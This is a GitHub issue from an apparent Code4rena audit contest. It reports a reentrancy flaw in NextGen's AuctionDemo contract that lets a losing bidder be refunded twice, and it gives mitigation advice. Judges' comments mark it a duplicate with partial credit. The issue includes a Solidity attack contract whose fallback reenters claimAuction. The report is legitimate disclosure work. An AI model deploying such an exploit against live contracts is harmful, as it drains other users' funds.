Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Any user with malicous intent would be able to claim 2x their bids for an auction #1268

Closed
c4-submissions opened this issue Nov 12, 2023 · 5 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)

Comments

@c4-submissions
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104

Vulnerability details

Impact

Detailed description of the impact of this finding.
The AuctionDemo contract allows a user to create an auction house for a single token, if the auction is won the highest bidder gets to keep the token at the end of the auction and the other bidders are refunded their bids. The issue noted is that a malicious bidder could keep 2x their bids in the refund process.
The bug is caused due to the lack of state changes before external calls.
##Attack Flow
1).An auction is created by any user and a malicious user bob bids an amount.
//this attack Idea would rely on bob not winning the auction so assumption that bids
//are created higher than bob's bid

2).At the end of the auction, when bob's get his refund bid, he implements a fallback that calls into the AuctionDemo.cancelBid(),which triggers a call to resend his bid.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
//SPDX-License-Identifier:UNLICENSED
pragma solidity ^0.8;

interface IAuctionDemo {
function participateToAuction(uint256 _tokenid) external payable;

function claimAuction(uint256 _tokenid) external;

}

contract attackContract {
IAuctionDemo auctionHouse;
uint256 tokenId;
uint8 firstCall;

constructor(address _acutiondemo, uint256 _tokenId) {
    auctionHouse = IAuctionDemo(_acutiondemo);
    tokenId = _tokenId;
}

function pwn() external payable {
    //participate in auction
    auctionHouse.participateToAuction{value: msg.value}(tokenId);
}
 //refunds are sent and then we reenter the contract 
fallback() external payable {
    if (firstCall != 1) {
        ++firstCall;

        auctionHouse.claimAuction(tokenId);
    }
}

}

Tools Used:Foundry

Recommended Mitigation Steps:Add the reentrancy modifier || make state changes to

the auctionInfoData[tokenId][index].status variable before making external calls

Assessed type

Reentrancy

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 12, 2023
c4-submissions added a commit that referenced this issue Nov 12, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #1172

@c4-pre-sort c4-pre-sort reopened this Nov 27, 2023
@c4-pre-sort
Copy link

141345 marked the issue as not a duplicate

@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #962

@c4-judge
Copy link

c4-judge commented Dec 4, 2023

alex-ppg marked the issue as duplicate of #1323

@c4-judge c4-judge added the partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) label Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)
Projects
None yet
Development

No branches or pull requests

3 participants